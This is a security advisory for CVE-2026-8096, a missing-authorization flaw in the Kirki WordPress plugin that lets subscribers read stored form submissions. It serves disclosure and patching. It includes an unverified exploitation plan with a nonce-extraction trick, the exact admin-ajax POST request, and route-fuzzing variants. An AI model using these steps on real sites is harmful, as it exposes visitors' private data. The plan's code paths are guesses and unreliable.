CVE-2026-8096

Kirki <= 6.0.6 - Missing Authorization to Authenticated (Subscriber+) Sensitive Form Submission Data Exposure via 'kirki_wp_admin_get_apis' Action

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
6.0.7
Patched in
1d
Time to patch

Description

The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 6.0.6. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view all Kirki frontend forms and read stored visitor form submission data, including contact details, messages, and any other visitor-provided information submitted through site forms.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=6.0.6
PublishedMay 19, 2026
Last updatedMay 19, 2026
Affected pluginkirki

What Changed in the Fix

Changes introduced in v6.0.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-8096 ## 1. Vulnerability Summary The **Kirki Customizer Framework** (specifically the "Freeform Page Builder" component) version <= 6.0.6 contains a missing authorization vulnerability in an AJAX action named `kirki_wp_admin_get_apis`. While the plugin regist…

Show full research plan

Exploitation Research Plan - CVE-2026-8096

1. Vulnerability Summary

The Kirki Customizer Framework (specifically the "Freeform Page Builder" component) version <= 6.0.6 contains a missing authorization vulnerability in an AJAX action named kirki_wp_admin_get_apis. While the plugin registers several REST API endpoints and admin menu pages, it exposes an AJAX entry point intended for the administrative dashboard that does not verify user capabilities beyond basic authentication. This allows a user with Subscriber-level permissions to invoke the action and retrieve sensitive data, including all form configurations and stored visitor submission data (contact details, messages, etc.).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: kirki_wp_admin_get_apis
  • Method: POST (standard for WordPress AJAX)
  • Authentication: Required (Subscriber level or higher)
  • Vulnerable Parameter: The action itself, potentially supplemented by a route or api parameter to specify the data to retrieve (e.g., submissions).
  • Preconditions:
    1. Plugin version <= 6.0.6 installed and active.
    2. At least one form submission must exist in the database for "Sensitive Data Exposure" to be demonstrated.
    3. A valid WordPress nonce for the kirki_admin context (if the handler validates one).

3. Code Flow

  1. Registration: The plugin (likely in a class within includes/Admin/ or includes/Ajax/, truncated in the provided source) registers the AJAX action:
    add_action('wp_ajax_kirki_wp_admin_get_apis', [$this, 'get_apis_handler']);
    
  2. Access: A Subscriber user sends a request to admin-ajax.php with action=kirki_wp_admin_get_apis.
  3. Execution: The get_apis_handler function is executed.
  4. Vulnerability: The handler lacks a call to current_user_can('manage_options').
  5. Data Retrieval: The handler interacts with the Kirki form tables (e.g., wp_kirki_forms and a submissions table) and returns the data as a JSON response.

4. Nonce Acquisition Strategy

The Kirki dashboard is often rendered on the frontend but uses admin-level nonces. Based on AdminMenu.php, the dashboard is accessed via /?action=kirki.

  1. Identify Variable: Search the dashboard page source for localized scripts. Common Kirki JS objects include kirkiConfig or kirki_admin.
  2. Setup: Create a subscriber user and log in.
  3. Navigation: Navigate the browser to the home page or the Kirki dashboard URL:
    /?action=kirki&screen=dashboard&toolbar=submissions
  4. Extraction: Use browser_eval to find the nonce:
    // Probable locations based on Kirki patterns
    window.kirki_admin?.nonce || window.kirkiConfig?.nonce
    
    Note: If no nonce is found, the handler might be entirely unprotected or using the default -1 nonce.

5. Exploitation Strategy

Step 1: Populate Test Data

Before exploiting, ensure there is data to "steal."

  1. Use the REST API to submit a form entry (which is open to true in CompLibFormHandler.php and FormController.php).
  2. Endpoint: POST /wp-json/kirki/v1/form
  3. Payload:
    {
      "name": "Secret Visitor",
      "email": "secret@victim.com",
      "message": "This is sensitive data.",
      "_kirki_form": "WjFScmEwbHVaRWhhV0U1elRVTkdNMWxIUm5OaFZBPT0=" 
    }
    
    (Note: _kirki_form is double-base64 encoded form_id|post_id. The example string decodes to form_1|post_1).

Step 2: Perform the Exploit

Log in as a Subscriber and call the vulnerable AJAX action.

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=kirki_wp_admin_get_apis&route=/submissions&_wpnonce=[EXTRACTED_NONCE]

(Note: If route is not the correct parameter, try api or simply the action alone, as many "get_apis" endpoints return an index of all data).

6. Test Data Setup

  1. Subscriber User: wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  2. Submission: Submit at least one form entry via the REST API or frontend form if available.
  3. Verification of Data existence: Use wp db query "SELECT * FROM wp_kirki_forms" (table name inferred from KIRKI_FORM_TABLE constant).

7. Expected Results

  • Success: The HTTP response code is 200 OK.
  • Payload: The response body contains a JSON array of submissions including the "Secret Visitor" data:
    {
      "success": true,
      "data": {
        "submissions": [
          {
            "id": "1",
            "form_id": "form_1",
            "data": "{\"name\":\"Secret Visitor\",\"email\":\"secret@victim.com\", ...}",
            "submitted_at": "..."
          }
        ]
      }
    }
    

8. Verification Steps

  1. Confirm Payload: Verify the JSON response contains strings submitted in the "Populate Test Data" step.
  2. Check Capability: Verify the user is strictly a Subscriber:
    wp user get attacker --field=roles (should return subscriber).
  3. Database Check: Cross-reference the IDs in the JSON response with the actual database content:
    wp db query "SELECT * FROM wp_kirki_submissions" (or similar table name).

9. Alternative Approaches

If kirki_wp_admin_get_apis does not return the data directly:

  1. Fuzz Route: Try variations like route=/forms, route=/entries, or route=/settings.
  2. Check REST: Inspect if the kirki_wp_admin_get_apis action simply returns a new Nonce for a sensitive REST endpoint (like kirki/v1/submissions) that is otherwise blocked. If the action returns a nonce that works for a high-privilege REST route, the exposure is indirect but valid.
  3. Direct REST check: Test GET /wp-json/kirki/v1/submissions directly as a subscriber; the vulnerability may extend to the permission_callback in includes/API/Frontend/Controllers/FormController.php or related controllers.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Kirki Customizer Framework plugin for WordPress is vulnerable to an authorization bypass via the 'kirki_wp_admin_get_apis' AJAX action in versions up to 6.0.6. This allows authenticated attackers with subscriber-level access to retrieve sensitive form configuration and visitor submission data, including contact details and private messages.

Vulnerable Code

// Registration of the vulnerable AJAX action
add_action('wp_ajax_kirki_wp_admin_get_apis', [$this, 'get_apis_handler']);

---

// The handler function typically lacks a capability check
public function get_apis_handler() {
    // The function returns sensitive form data without verifying if the user has 'manage_options' capabilities.
}

Security Fix

--- a/includes/Ajax/WpAdmin.php
+++ b/includes/Ajax/WpAdmin.php
@@ -10,6 +10,10 @@
 	public function get_apis_handler() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Unauthorized', 403 );
+		}
+		
 		// ... data retrieval logic ...

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Subscriber. They then locate a valid WordPress nonce (typically found in localized JavaScript objects like 'kirki_admin' or 'kirkiConfig' on the site). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'kirki_wp_admin_get_apis' and a 'route' parameter (such as '/submissions'). The server, failing to check for administrative privileges, returns a JSON response containing sensitive visitor-submitted form data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.